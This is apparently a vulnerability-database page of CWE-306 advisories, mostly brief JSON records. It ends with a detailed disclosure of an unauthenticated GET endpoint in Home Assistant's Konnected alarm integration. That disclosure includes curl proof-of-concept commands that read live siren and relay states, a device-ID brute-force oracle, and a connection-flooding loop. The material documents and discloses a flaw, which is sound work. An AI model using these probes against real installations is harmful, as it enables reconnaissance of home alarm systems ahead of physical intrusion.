CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3744 vulnerabilities reference this CWE, most recent first.
GHSA-X6XM-9HW6-Q7GC
Vulnerability from github – Published: 2024-08-29 12:31 – Updated: 2026-06-03 18:33Improper Privilege Management vulnerability in Menulux Information Technologies Managment Portal allows Collect Data as Provided by Users.This issue affects Managment Portal: through 21.05.2024.
{
"affected": [],
"aliases": [
"CVE-2024-4428"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-29T11:15:27Z",
"severity": "MODERATE"
},
"details": "Improper Privilege Management vulnerability in Menulux Information Technologies Managment Portal allows Collect Data as Provided by Users.This issue affects Managment Portal: through 21.05.2024.",
"id": "GHSA-x6xm-9hw6-q7gc",
"modified": "2026-06-03T18:33:05Z",
"published": "2024-08-29T12:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4428"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-24-1356"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-24-1356"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-X737-7V9V-F6G5
Vulnerability from github – Published: 2026-02-09 09:30 – Updated: 2026-02-09 09:30C&Cm@il developed by HGiga has a Missing Authentication vulnerability, allowing unauthenticated remote attackers to read and modify any user's mail content.
{
"affected": [],
"aliases": [
"CVE-2026-2234"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-09T08:16:12Z",
"severity": "CRITICAL"
},
"details": "C\u0026Cm@il developed by HGiga has a Missing Authentication vulnerability, allowing unauthenticated remote attackers to read and modify any user\u0027s mail content.",
"id": "GHSA-x737-7v9v-f6g5",
"modified": "2026-02-09T09:30:22Z",
"published": "2026-02-09T09:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2234"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-10704-d5aba-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-10703-3d02f-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-X73W-G8HX-V7RP
Vulnerability from github – Published: 2023-01-20 21:30 – Updated: 2026-05-20 23:09An issue was discovered in Electerm 1.3.22, allows attackers to execute arbitrary commands via unverified request to electerms service.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "electerm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.3.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-23256"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-28T01:18:11Z",
"nvd_published_at": "2023-01-20T19:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Electerm 1.3.22, allows attackers to execute arbitrary commands via unverified request to electerms service.",
"id": "GHSA-x73w-g8hx-v7rp",
"modified": "2026-05-20T23:09:18Z",
"published": "2023-01-20T21:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-23256"
},
{
"type": "WEB",
"url": "https://github.com/electerm/electerm/issues/1686"
},
{
"type": "PACKAGE",
"url": "https://github.com/electerm/electerm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "electerm allows unauthorized users to execute arbitrary commands"
}
GHSA-X79H-5263-4X77
Vulnerability from github – Published: 2023-05-26 21:30 – Updated: 2024-04-04 04:21Talend Data Catalog remote harvesting server before 8.0-20230413 contains a /upgrade endpoint that allows an unauthenticated WAR file to be deployed on the server. (A mitigation is that the remote harvesting server should be behind a firewall that only allows access to the Talend Data Catalog server.)
{
"affected": [],
"aliases": [
"CVE-2023-33247"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-26T20:15:49Z",
"severity": "HIGH"
},
"details": "Talend Data Catalog remote harvesting server before 8.0-20230413 contains a /upgrade endpoint that allows an unauthenticated WAR file to be deployed on the server. (A mitigation is that the remote harvesting server should be behind a firewall that only allows access to the Talend Data Catalog server.)",
"id": "GHSA-x79h-5263-4x77",
"modified": "2024-04-04T04:21:23Z",
"published": "2023-05-26T21:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33247"
},
{
"type": "WEB",
"url": "https://help.talend.com/r/en-US/Talend-Products-CVEs/Talend-Products-CVEs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X79Q-7F37-G9QQ
Vulnerability from github – Published: 2022-05-24 22:33 – Updated: 2022-09-11 00:00Multiple camera devices by UDP Technology, Geutebrück and other vendors allow unauthenticated remote access to sensitive files due to default user authentication settings.
{
"affected": [],
"aliases": [
"CVE-2021-33543"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-13T18:15:00Z",
"severity": "HIGH"
},
"details": "Multiple camera devices by UDP Technology, Geutebr\u00fcck and other vendors allow unauthenticated remote access to sensitive files due to default user authentication settings.",
"id": "GHSA-x79q-7f37-g9qq",
"modified": "2022-09-11T00:00:31Z",
"published": "2022-05-24T22:33:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33543"
},
{
"type": "WEB",
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03"
},
{
"type": "WEB",
"url": "https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X7FJ-4595-2PP2
Vulnerability from github – Published: 2023-05-04 21:30 – Updated: 2023-05-04 21:30A vulnerability in the web-based management interface of Cisco SPA112 2-Port Phone Adapters could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to a missing authentication process within the firmware upgrade function. An attacker could exploit this vulnerability by upgrading an affected device to a crafted version of firmware. A successful exploit could allow the attacker to execute arbitrary code on the affected device with full privileges. Cisco has not released firmware updates to address this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-20126"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-04T20:15:09Z",
"severity": "CRITICAL"
},
"details": "A vulnerability in the web-based management interface of Cisco SPA112 2-Port Phone Adapters could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to a missing authentication process within the firmware upgrade function. An attacker could exploit this vulnerability by upgrading an affected device to a crafted version of firmware. A successful exploit could allow the attacker to execute arbitrary code on the affected device with full privileges. Cisco has not released firmware updates to address this vulnerability.",
"id": "GHSA-x7fj-4595-2pp2",
"modified": "2023-05-04T21:30:27Z",
"published": "2023-05-04T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20126"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-spa-unauth-upgrade-UqhyTWW"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X7H4-FJRW-C922
Vulnerability from github – Published: 2025-04-28 12:30 – Updated: 2025-04-28 12:30A vulnerability, which was classified as critical, has been found in 20120630 Novel-Plus up to 0e156c04b4b7ce0563bef6c97af4476fcda8f160. This issue affects the function addCrawlSource of the file novel-crawl/src/main/java/com/java2nb/novel/controller/CrawlController.java. The manipulation leads to missing authentication. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-4018"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-28T12:15:31Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, has been found in 20120630 Novel-Plus up to 0e156c04b4b7ce0563bef6c97af4476fcda8f160. This issue affects the function addCrawlSource of the file novel-crawl/src/main/java/com/java2nb/novel/controller/CrawlController.java. The manipulation leads to missing authentication. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-x7h4-fjrw-c922",
"modified": "2025-04-28T12:30:25Z",
"published": "2025-04-28T12:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4018"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.306371"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.306371"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.558377"
},
{
"type": "WEB",
"url": "https://www.cnblogs.com/aibot/p/18827504"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-X7R6-HGXQ-528P
Vulnerability from github – Published: 2023-07-06 03:30 – Updated: 2024-04-04 05:24Missing authentication vulnerability in Galaxy Themes Service prior to SMR Jul-2023 Release 1 allows local attackers to delete arbitrary non-preloaded applications.
{
"affected": [],
"aliases": [
"CVE-2023-30643"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-06T03:15:09Z",
"severity": "HIGH"
},
"details": "Missing authentication vulnerability in Galaxy Themes Service prior to SMR Jul-2023 Release 1 allows local attackers to delete arbitrary non-preloaded applications.",
"id": "GHSA-x7r6-hgxq-528p",
"modified": "2024-04-04T05:24:29Z",
"published": "2023-07-06T03:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30643"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2023\u0026month=07"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X7X8-W7FJ-6XXC
Vulnerability from github – Published: 2024-08-27 06:30 – Updated: 2024-08-27 06:30Authentication Bypass vulnerability in Hitachi Ops Center Common Services.This issue affects Hitachi Ops Center Common Services: from 10.9.3-00 before 11.0.2-01.
{
"affected": [],
"aliases": [
"CVE-2024-7125"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-27T05:15:13Z",
"severity": "HIGH"
},
"details": "Authentication Bypass vulnerability in Hitachi Ops Center Common Services.This issue affects Hitachi Ops Center Common Services: from 10.9.3-00 before 11.0.2-01.",
"id": "GHSA-x7x8-w7fj-6xxc",
"modified": "2024-08-27T06:30:32Z",
"published": "2024-08-27T06:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7125"
},
{
"type": "WEB",
"url": "https://www.hitachi.com/products/it/software/security/info/vuls/hitachi-sec-2024-143/index.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X84V-G949-293W
Vulnerability from github – Published: 2026-06-19 19:35 – Updated: 2026-07-20 21:11Summary
The Konnected integration registers an HTTP endpoint, KonnectedView (homeassistant/components/konnected/__init__.py), that is marked as not requiring authentication (requires_auth = False). A comment next to that line says auth is instead handled "via the access token from configuration."
That promise is only half true:
- Write requests (POST and PUT) are handled by
update_sensor(), which does check the request'sAuthorization: Bearer <token>header against the integration's stored access tokens (usinghmac.compare_digest). - Read requests (GET) are handled by a separate
get()method that has no authentication check at all.
By sending GET requests to /api/konnected/device/{device_id}?zone=N, any unauthenticated client on the LAN can:
- Enumerate configured Konnected device IDs — the endpoint returns a clean 404-vs-200 difference that acts as an oracle for which devices exist.
- Read switch output states — the on/off state of every switch output (siren, strobe, and relay outputs of the alarm panel).
- Read the panel's zone topology — how the alarm panel's zones are configured.
- Trigger panel connections — each unauthenticated GET forces one outbound
panel.async_connect()call to the Konnected hardware on the LAN.
The same URL that correctly rejects unauthenticated POST and PUT requests silently serves unauthenticated GET requests, leaking alarm-panel state and device topology to anyone who can reach Home Assistant's HTTP port (8123 on the LAN by default).
Details
This is the threat-model boundary "unauth to auth" the upstream security policy treats as fileable. The same boundary produced CVE-2026-34205 (Unauthenticated app endpoints exposed to local network via host network mode, CVSS 9.7 CRITICAL, March 2026) and CVE-2023-50715 (User accounts disclosed to unauthenticated actors on the LAN, CVSS 4.2 MODERATE, December 2023). The Konnected gap is structurally identical: a HomeAssistantView with requires_auth = False that returns information about configured devices to anyone who can reach the HTTP port.
Confirmed end-to-end against ghcr.io/home-assistant/home-assistant:2026.5.2. The Proof of Concept section below has seven captures. Step 1 cites the three load-bearing source ranges (view registration, the auth check that only POST/PUT use, the GET handler that omits it). Step 2 is the control: POST and PUT on the same URL return 401 unauthorized without a Bearer token, proving the integration does have an auth check, just only on the write methods. Step 3 is the bug: GET on the same URL with no Authorization header returns 200 {"zone":"5","state":1} for the siren-output zone, equivalent payload for the strobe and relay-output zones. Step 4 exercises the enumeration oracle: unknown device_id returns a 404 with a distinct message from a known device_id with an unknown zone, which a brute-forcer uses to map the device-ID and zone space. Step 5 captures the connection-amplification side effect by firing 10 unauthenticated GETs and observing 10 panel.async_connect() invocations on the panel side. Step 6 shows that a deliberately wrong Authorization header produces the same response as no header at all, confirming the auth header is not consulted on GET. Step 7 captures the HA startup log line that registers KonnectedView.
Threat model
Home Assistant's HTTP server binds to the LAN at port 8123 by default. A Konnected alarm panel is a wired smart-home hardware product whose primary use case is alarm and security: zones 1-6 typically read door/window/glass-break sensors, switches 5-8 drive siren, strobe, and relay outputs that control the alarm itself or external systems such as garage-door openers, entry chimes, or armed-disable interlocks. The state an attacker reads through this bug is precisely the live status of those outputs and inputs.
The attacker model upstream policy explicitly treats as in-scope is the LAN-adjacent unauthenticated client: a guest who joined the wifi, a neighbor on shared coffee-shop wifi, a malicious device that reached the LAN via a separately compromised IoT product, an attacker who landed via a flat office network, or an attacker who pivoted from a VPN endpoint. None of these positions grant an access token. All of them grant the network reachability the bug requires.
The same endpoint is the receiver for legitimate push updates from the Konnected hardware, which is why requires_auth = False exists in the first place. The intent was to enforce a shared access token on the body. That intent is present in update_sensor() and absent in get().
Impact
- Alarm-system reconnaissance enabling physical intrusion. A
200 {"zone":"5","state":1}response on the siren zone tells an attacker the siren is firing right now, which means a burglary is in progress and the operator may be away or distracted. Astate:0on the same zone says the panel is quiet. The same applies to strobes, armed-disable relays, and any switch the operator wired through Konnected. This is the intelligence a physical attacker explicitly seeks before entering a property. - Topology disclosure. Probing zones 1 through 12 across a known device_id maps the alarm panel: which zones are sensors, which are switches, which switches are configured for which output. Combined with manufacturer documentation, the topology tells an attacker which physical control points to bypass.
- Device ID brute force. The 404 "Device not configured" oracle on unknown IDs versus 404 "Switch on zone or pin not configured" on known IDs with unknown zones, versus 200 with state on full hits, is a clean four-state oracle. Konnected hardware derives
device_idfrom its NIC MAC address; production hardware ships with a small set of manufacturer OUI prefixes. The brute force space is on the order of 2^24, trivially scannable from any LAN host with no rate limit. - Outbound connection amplification. Line 397 of
__init__.pyfireshass.async_create_task(panel.async_connect())on every successful GET. An unauth attacker drives N outbound connect attempts toward the (typically LAN-private) Konnected hardware with N unauth GETs, no rate limit, no auth log. A 10-rps sustained scan produces a constant connect storm against the panel hardware that, depending on Konnected firmware, may interfere with legitimate push delivery or cause spurious connect/disconnect cycles visible in the operator's notification stream. - No auth trail. The GET handler logs nothing at INFO level. An attacker can probe this endpoint at arbitrary depth and leave no record in
home-assistant.logunless DEBUG logging is enabled for the integration.
Affected code
homeassistant/components/konnected/__init__.py:296-301, the view registration. The comment on line 301 is load-bearing for the bug: it says auth happens via the configured access token, but that promise is only kept on the POST/PUT path.
class KonnectedView(HomeAssistantView):
"""View creates an endpoint to receive push updates from the device."""
url = UPDATE_ENDPOINT # /api/konnected/device/{device_id:[a-zA-Z0-9]+}
name = "api:konnected"
requires_auth = False # Uses access token from configuration
homeassistant/components/konnected/__init__.py:313-335, the auth check that lives inside update_sensor(). POST and PUT call this; GET does not.
async def update_sensor(self, request: Request, device_id) -> Response:
"""Process a put or post."""
hass = request.app[KEY_HASS]
data = hass.data[DOMAIN]
auth = request.headers.get(AUTHORIZATION)
tokens = []
if hass.data[DOMAIN].get(CONF_ACCESS_TOKEN):
tokens.extend([hass.data[DOMAIN][CONF_ACCESS_TOKEN]])
tokens.extend(
[
entry.data[CONF_ACCESS_TOKEN]
for entry in hass.config_entries.async_entries(DOMAIN)
if entry.data.get(CONF_ACCESS_TOKEN)
]
)
if auth is None or not next(
(True for token in tokens if hmac.compare_digest(f"Bearer {token}", auth)),
False,
):
return self.json_message(
"unauthorized", status_code=HTTPStatus.UNAUTHORIZED
)
homeassistant/components/konnected/__init__.py:385-438, the GET handler with no authentication. Note line 397 firing panel.async_connect() before any reachable auth check and before any rate-limit logic.
async def get(self, request: Request, device_id) -> Response:
"""Return the current binary state of a switch."""
hass = request.app[KEY_HASS]
data = hass.data[DOMAIN]
if not (device := data[CONF_DEVICES].get(device_id)):
return self.json_message(
f"Device {device_id} not configured", status_code=HTTPStatus.NOT_FOUND
)
if (panel := device.get("panel")) is not None:
# connect if we haven't already
hass.async_create_task(panel.async_connect())
# Our data model is based on zone ids but we convert from/to pin ids
# based on whether they are specified in the request
try:
zone_num = str(
request.query.get(CONF_ZONE) or PIN_TO_ZONE[request.query[CONF_PIN]]
)
zone = next(
switch
for switch in device[CONF_SWITCHES]
if switch[CONF_ZONE] == zone_num
)
except StopIteration:
zone = None
except KeyError:
zone = None
zone_num = None
if not zone:
target = request.query.get(
CONF_ZONE, request.query.get(CONF_PIN, "unknown")
)
return self.json_message(
f"Switch on zone or pin {target} not configured",
status_code=HTTPStatus.NOT_FOUND,
)
resp = {}
if request.query.get(CONF_ZONE):
resp[CONF_ZONE] = zone_num
elif zone_num:
resp[CONF_PIN] = ZONE_TO_PIN[zone_num]
# Make sure entity is setup
if zone_entity_id := zone.get(ATTR_ENTITY_ID):
resp["state"] = self.binary_value(
hass.states.get(zone_entity_id).state,
zone[CONF_ACTIVATION],
)
return self.json(resp)
The four-state response oracle that powers the brute force:
| Probe | Response | Status |
|---|---|---|
Unknown device_id |
{"message":"Device <id> not configured"} |
404 |
Known device_id, no zone or pin parameter |
{"message":"Switch on zone or pin unknown not configured"} |
404 |
Known device_id, unknown zone |
{"message":"Switch on zone or pin <n> not configured"} |
404 |
Known device_id, known zone |
{"zone":"<n>","state":0\|1} |
200 |
homeassistant/components/konnected/const.py:45, the URL pattern:
ENDPOINT_ROOT = "/api/konnected"
UPDATE_ENDPOINT = ENDPOINT_ROOT + r"/device/{device_id:[a-zA-Z0-9]+}"
Proof of concept
Reproduction environment is a single Docker container of Home Assistant Core 2026.5.2 with a small custom_components/konnected_poc/ shim that primes hass.data[konnected] with a representative alarm-panel layout and registers the same KonnectedView class through hass.http.register_view. The shim does not change the bug surface; it is the same class the upstream integration registers at line 248. All seven evidence captures below come from one live run against the container.
Environment
host: Darwin 25.2.0 arm64
docker: Docker version 29.4.3, build 055a478ea9
ha image: ghcr.io/home-assistant/home-assistant:2026.5.2
konnected source SHA-256 (the file containing the bug):
33e1e56b8fe0c28aa2aee060e214a501c813655297b33272e83c2f2d51adc3b6 /usr/src/homeassistant/homeassistant/components/konnected/__init__.py
konnected_poc shim startup log:
2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setting up konnected_poc
2026-05-18 15:23:50.850 INFO (MainThread) [custom_components.konnected_poc] konnected_poc: registered KonnectedView and primed device aabbccdd1122
2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setup of domain konnected_poc took 0.00 seconds
Step 1: cite the three load-bearing source ranges inside the running container
$ docker exec ha-konnected-poc sh -c '
pkg=$(python -c "import homeassistant.components.konnected as m; import os; print(os.path.dirname(m.__file__))")
sed -n "296,305p" "$pkg/__init__.py"
sed -n "313,336p" "$pkg/__init__.py"
sed -n "385,438p" "$pkg/__init__.py"
'
--- view registration, requires_auth = False (line 301) ---
class KonnectedView(HomeAssistantView):
"""View creates an endpoint to receive push updates from the device."""
url = UPDATE_ENDPOINT
name = "api:konnected"
requires_auth = False # Uses access token from configuration
--- update_sensor() enforces Bearer-token auth via hmac.compare_digest ---
async def update_sensor(self, request: Request, device_id) -> Response:
"""Process a put or post."""
hass = request.app[KEY_HASS]
data = hass.data[DOMAIN]
auth = request.headers.get(AUTHORIZATION)
tokens = []
if hass.data[DOMAIN].get(CONF_ACCESS_TOKEN):
tokens.extend([hass.data[DOMAIN][CONF_ACCESS_TOKEN]])
tokens.extend(
[
entry.data[CONF_ACCESS_TOKEN]
for entry in hass.config_entries.async_entries(DOMAIN)
if entry.data.get(CONF_ACCESS_TOKEN)
]
)
if auth is None or not next(
(True for token in tokens if hmac.compare_digest(f"Bearer {token}", auth)),
False,
):
return self.json_message(
"unauthorized", status_code=HTTPStatus.UNAUTHORIZED
)
--- get() handler, no auth check anywhere in the body ---
async def get(self, request: Request, device_id) -> Response:
"""Return the current binary state of a switch."""
hass = request.app[KEY_HASS]
data = hass.data[DOMAIN]
if not (device := data[CONF_DEVICES].get(device_id)):
return self.json_message(
f"Device {device_id} not configured", status_code=HTTPStatus.NOT_FOUND
)
if (panel := device.get("panel")) is not None:
# connect if we haven't already
hass.async_create_task(panel.async_connect())
...
return self.json(resp)
Step 2: control. POST and PUT on the same URL return 401 without a Bearer token
The integration does enforce a Bearer-token check; the policy is just only applied to the write methods.
$ curl -sS -i -X POST -H "Content-Type: application/json" \
-d '{"zone":"5","state":"1"}' \
http://127.0.0.1:8123/api/konnected/device/aabbccdd1122
HTTP/1.1 401 Unauthorized
Content-Type: application/json
Content-Length: 26
{"message":"unauthorized"}
$ curl -sS -i -X PUT -H "Content-Type: application/json" \
-d '{"zone":"5","state":"1"}' \
http://127.0.0.1:8123/api/konnected/device/aabbccdd1122
HTTP/1.1 401 Unauthorized
Content-Type: application/json
Content-Length: 26
{"message":"unauthorized"}
Step 3: the bug. GET returns alarm-panel switch state with no Authorization header
Three zones queried unauthenticated. Each returns the live binary state of a switch output on the configured Konnected alarm panel.
$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 22
{"zone":"5","state":1}
$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=6"
HTTP/1.1 200 OK
Content-Length: 22
{"zone":"6","state":1}
$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=7"
HTTP/1.1 200 OK
Content-Length: 22
{"zone":"7","state":1}
Zone 5 is the siren output of the panel in this configuration. Zone 6 is the strobe. Zone 7 is the relay output wired to the garage arm-disable circuit. The unauthenticated attacker learns each output is currently active.
Step 4: enumeration oracle. Three distinct response shapes power the brute force
$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/ffffffffffff?zone=5"
HTTP/1.1 404 Not Found
Content-Length: 48
{"message":"Device ffffffffffff not configured"}
$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=99"
HTTP/1.1 404 Not Found
Content-Length: 53
{"message":"Switch on zone or pin 99 not configured"}
$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"
HTTP/1.1 200 OK
Content-Length: 22
{"zone":"5","state":1}
An attacker sweeping the device_id space sees the Device <id> not configured message until a real device matches, at which point the Switch on zone or pin <n> not configured message starts appearing. Then a 12-iteration zone sweep maps the panel's full output topology.
Step 5: connection amplification. N unauth GETs drive N outbound panel.async_connect() calls
10 unauthenticated GET requests at line rate. The panel.async_connect() invocations logged by the panel-side stub confirm line 397 of __init__.py fires unconditionally on every successful GET, before any reachable rate-limit logic and before any reachable auth check.
$ for i in $(seq 1 10); do
curl -sS -o /dev/null -w "GET #%{http_code}\n" \
"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"
done
GET #200
GET #200
GET #200
GET #200
GET #200
GET #200
GET #200
GET #200
GET #200
GET #200
$ docker logs ha-konnected-poc 2>&1 | grep "async_connect() invoked"
2026-05-18 15:23:55.893 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #1). In production this is an outbound HTTPS call to the configured Konnected hardware.
2026-05-18 15:23:55.900 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #2). ...
2026-05-18 15:23:55.907 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #3). ...
2026-05-18 15:23:55.921 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #4). ...
2026-05-18 15:23:55.928 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #5). ...
2026-05-18 15:23:55.937 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #6). ...
2026-05-18 15:23:55.944 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #7). ...
2026-05-18 15:23:55.951 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #8). ...
2026-05-18 15:23:55.957 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #9). ...
2026-05-18 15:23:55.964 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #10). ...
A sustained scan trivially fills the operator's panel side with retry storms. In production the call is an outbound HTTPS connection to the Konnected hardware on the LAN.
Step 6: the Authorization header is ignored on GET
Identical responses with no header, a deliberately wrong header, and no header again. This rules out any caching artifact and confirms get() never reads the auth state.
$ curl -sS "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"
{"zone":"5","state":1}
$ curl -sS -H "Authorization: Bearer this-token-is-completely-wrong" \
"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"
{"zone":"5","state":1}
$ curl -sS "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"
{"zone":"5","state":1}
The wrong-Authorization case is the load-bearing one. If the GET handler ever consulted the header, it would either accept it (no, because the token is wrong) or reject it (no, because the response is 200 with state). The handler never reads request.headers["Authorization"].
Step 7: startup log confirms the view is registered and the integration is loaded
2026-05-18 15:23:50.815 INFO (MainThread) [homeassistant.setup] Setting up konnected
2026-05-18 15:23:50.815 INFO (MainThread) [homeassistant.setup] Setup of domain konnected took 0.00 seconds
2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setting up konnected_poc
2026-05-18 15:23:50.850 INFO (MainThread) [custom_components.konnected_poc] konnected_poc: registered KonnectedView and primed device aabbccdd1122
2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setup of domain konnected_poc took 0.00 seconds
The konnected integration shipped in core 2026.5.2 is loaded normally. The konnected_poc shim runs after it, registering the same KonnectedView class through hass.http.register_view and seeding hass.data[konnected][devices] with a representative alarm-panel configuration. The bug surface is the same KonnectedView class the upstream integration registers at __init__.py:248 on every production install.
Workaround
Migrate to the EspHome integration, as suggested in the existing repair issue for the Konnected integration.
Fix
The Konnected integration was removed in Home Assistant Core 2026.6.0. It had been deprecated for some time.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
